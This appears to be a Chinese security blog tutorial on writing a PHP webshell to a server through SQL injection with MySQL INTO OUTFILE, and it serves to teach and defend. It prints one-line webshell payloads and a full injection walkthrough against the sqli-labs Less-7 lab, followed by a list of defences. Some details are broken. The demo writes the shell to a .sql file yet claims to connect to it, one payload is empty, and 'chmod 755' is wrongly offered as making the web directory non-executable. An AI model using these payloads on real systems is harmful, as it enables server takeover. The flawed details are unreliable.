利用SQL文件上传注入植入WebShell
文章目录
- 从SQL文件上传到WebShell植入
- 核心概念回顾
- 核心原理
- 漏洞前提
- INTO OUTFILE 详解
- 攻击链深度剖析(核心内容)
- WebShell写入原理
- 防御措施
- 演示
从SQL文件上传到WebShell植入
当网站后台有 “数据导入”,“执行SQL语句” 等功能,并且允许上传SQL文件
如果这个上传和执行SQL的功能存在漏洞,会发生什么可怕的事情?
本文将揭示一种高级的攻击手法:攻击者上传一个伪装成SQL文件的 特洛伊木马,利用目标系统的SQL注入漏洞,在服务器上直接写入一个WebShell后门
这种攻击可以直接导致服务器被完全控制,数据泄露、篡改、沦为肉鸡等严重后果
核心概念回顾
- 文件上传漏洞
- 未对用户上传的文件进行严格校验(类型、内容、大小、路径、权限等),导致恶意文件被上传到服务器
- 常见风险:上传WebShell、病毒、木马、进行钓鱼攻击等
- SQL注入漏洞
- 攻击者将恶意的SQL代码插入到应用程序的数据库查询中,欺骗数据库执行非预期的命令
- 常见危害:窃取数据、篡改数据、删除数据、执行系统命令(在特定条件下)
- WebShell
- 一个运行在Web服务器上的恶意脚本文件(通常用PHP、ASP、JSP等编写),为攻击者提供远程控制服务器的图形化或命令行界面
- 功能:文件管理、命令执行、数据库操作、内网渗透等
详细介绍请见深入解析三大Web安全威胁:文件上传漏洞、SQL注入漏洞与WebShell
核心原理
通过SQL注入漏洞,利用数据库的文件写入功能(如MySQL的 select … into outfile),将WebShell代码写入服务器Web目录,从而获得服务器控制权
漏洞前提
- 存在SQL注入漏洞(如未过滤的用户输入)
- 数据库用户具备文件写入权限(如MySQL的file权限)
- 已知Web目录的绝对路径(如 /var/www/html)
- 可执行扩展名的写入权限(如 .php .jsp等)
INTO OUTFILE 详解
into outfile 是 MySQL 中用于将查询结果导出到服务器文件的 SQL 语句,它是数据导出和备份的重要工具,但在安全配置不当的情况下可能成为严重的安全漏洞
基本语法
SELECT column1, column2, ...
INTO OUTFILE 'file_path'
核心参数说明:
- file_path
- 服务器上的绝对路径(如 /var/lib/mysql-files/export.csv)
- 必须包含文件名和扩展名
- MySQL 用户必须具有 FILE 权限
文件创建规则:
- 文件必须在服务器本地创建(不能在远程客户端)
- 不能覆盖现有文件(若文件已存在则报错)
- 文件由 MySQL 服务用户创建(通常是 mysql)
- 文件权限默认为 -rw-rw----(660)
典型攻击语句:
UNION SELECT "<?php system($_GET['cmd']);?>"
INTO OUTFILE '/var/www/html/shell.php'
这条命令的意思是将一句话木马导出到 /var/www/html/ 路径下的 shell.php 文件中
攻击链深度剖析(核心内容)
- 步骤一:寻找攻击入口
- 目标:找到允许上传文件(特别是SQL文件)并执行/解析/导入该文件内容的功能点
- 常见位置:后台数据库管理模块、数据导入/导出功能、SQL查询执行页面(允许上传SQL文件执行)、系统维护功能(如“执行SQL脚本”)
- 关键:该功能在“执行”上传的SQL文件内容时,存在SQL注入漏洞 (核心前提)
- 步骤二:构造恶意SQL文件
- 伪装: 文件扩展名必须是 .sql,以绕过基于扩展名的简单过滤
- 恶意载荷: SQL文件内容包含精心构造的SQL注入语句
- 核心恶意语句: 利用目标数据库的特性,将WebShell代码写入服务器Web目录的可访问文件中
MySQL
SELECT '' INTO OUTFILE '/var/www/html/uploads/shell.php';
--+ 或
SELECT '' INTO DUMPFILE '/var/www/html/uploads/shell.php';
/var/www/html/uploads/shell.php 是Web服务器可访问的绝对路径(攻击者需要探测或猜测)
`` 是PHP WebShell代码(如经典的一句话木马: <?php @eval($_POST['cmd']);?>) 注意:需要将PHP代码中的单引号进行SQL转义(通常用’或0x27)!
- 步骤三:上传与触发
- 将构造好的恶意 .sql 文件通过目标系统的上传接口上传
- 触发系统对上传的SQL文件进行“执行”、“导入”或“解析”操作。这个过程会自动执行文件中的SQL语句
- 步骤四:执行恶意SQL & 植入WebShell
- 目标系统(通常是数据库连接组件)读取上传的SQL文件内容并发送到数据库执行
- 由于存在SQL注入漏洞(或者功能本身设计就是执行任意SQL),数据库会忠实地执行 select … into outfile … (或等效) 语句
- 结果: WebShell代码被成功写入服务器Web目录下的指定文件(如 shell.php)
- 步骤五:访问WebShell & 控制服务器
- 攻击者通过浏览器访问 http://target-site.com/uploads/shell.php
- 通过WebShell提供的接口(如使用中国菜刀/蚁剑/Cobalt Strike等工具连接),攻击者获得服务器的命令执行权限,完全控制服务器
WebShell写入原理
防御措施
尽管此攻击方法如此厉害,但还是有很多十分致命的缺点
- 代码层:
- 使用参数化查询(Prepared Statements)
- 严格过滤用户输入(白名单机制)
- 禁用危险函数(如 eval(), system())
- 数据库层:
- 最小权限原则:禁止FILE权限
- 设置 secure_file_priv = NULL
- 系统层:
- Web目录不可执行:chmod -R 755 /var/www/html
- 定期更新补丁与安全审计
- WAF防护:
- 过滤 union select, into outfile等关键词
- 监控异常文件写入行为
演示
又到了必备的演示时间了,此次演示使用的是 sqli-labs 7
http://192.168.1.9/sql/Less-7/
添加注入点
http://192.168.1.9/sql/Less-7/
?id=1
题目上也告诉我们了,使用 outfile
判断闭合方式
http://192.168.1.9/sql/Less-7/
?id=1" --+
这个题的闭合方式有些特殊,这里可以看到用 " 也可以闭合,但进一步求证就会看出问题
http://192.168.1.9/sql/Less-7/
?id=1" and 1=2--+
继续尝试,发现 ')) 也可以闭合
http://192.168.1.9/sql/Less-7/
?id=1')) and 1=1 --+
验证一下发现报错,这即为正确答案
http://192.168.1.9/sql/Less-7/
?id=1')) and 1=2 --+
查看源代码我们可以发现,因为 " 被 ‘’ 给闭合了,所以才不报错,但命令也不会执行
判断列数
http://192.168.1.9/sql/Less-7/
?id=1')) group by 1,2,3 --+
联合注入
http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,3--+
撰写攻击语句
http://192.168.1.9/sql/Less-7/
?id=-1')) union select 1,2,"<?php @eval($_POST['hhh']);?>" into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\127.0.0.1\\sql\\Less-7\\hhh.sql"--+
使用 Burp 拦截上传 .sql 文件的请求,在Burp中修改上传内容
在网站根目录即可发现上传的文件
使用蚁剑链接,添加即可